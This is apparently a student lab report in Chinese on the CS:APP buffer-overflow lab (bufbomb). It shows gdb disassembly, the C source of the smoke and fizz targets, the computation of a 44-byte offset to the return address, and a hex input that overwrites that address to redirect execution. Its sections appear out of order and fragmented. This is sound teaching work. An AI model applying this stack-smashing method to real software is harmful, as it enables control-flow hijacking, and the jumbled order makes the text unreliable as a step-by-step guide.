0x08048e37 <+45>:call 0x80488d0 <exit@plt>
End of assembler dump.
smoke函数开始的地址为0x08048e0a,最后四个字节应该填入0a 8e 04 08,但是0a为\n会让getbuf结束,所以可以从0x08048e0b开始。因此根据栈的结构,输入的48个字节为:
课程实验报告
课程名称:计算机组成与结构
实验项目名称:bufbomb-handout
专业班级:
姓名:
学号:
********
完成时间:2016年5月27日
信息科学与工程学院
实验题目:buflab-handout缓存区溢出实验
实验目的:掌握缓冲区溢出的原理;理解汇编语言,通过汇编语言防范缓冲区溢出的漏洞
实验环境:ubuntu-15.10、x32系统、VMware workstation
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
Bang函数反汇编:
(gdb) disassemble bang
Dump of assembler code for function bang:
0x08049278 <+22>:leave
0x08049279 <+23>:ret
End of assembler dump.
可以看出lea把buf的指针地址-0x28(%ebp)传给了Gets(),因此buf距返回地址有0x28+4=44个字节的距离,因此只需从buf处开始填入44个字节的非0a数(0a为ASCII码的\n,会使getbuf结束),接下来四个字节填写要返回的地址,因为要返回至smoke,所以接下来查看smoke函数的汇编代码:
0x08048db5 <+6>:mov0x8(%ebp),%eax//val存储地址
0x08048db8 <+9>:cmp0x804d104,%eax//cookie地址
0x08048dbe <+15>:jne 0x8048de6 <fizz+55>
0x08048dc0 <+17>:mov %eax,0x8(%esp)
Fizz函数源码
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
要求:将getbuf函数执行return后执行test函数改为执行fizz函数。
bufbomb可执行文件中有一个函数fizz:与上一个任务类似,但是现在我们必须把我们自己的cookie值当参数传递给fizz函数,通过makecookie计算出userid的cookie值
fizz函数的首地址为0x08048daf,除了要将这个值用相同的方式输入到getbuf中返回地址处外,还应将cookie值输入到在fizz函数中fizz函数返回地址的上一个4字节处。
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
执行结果如下:
Level1:
Smoke函数源码:
void smoke()
{
printf("Smoke!: You called smoke()\n");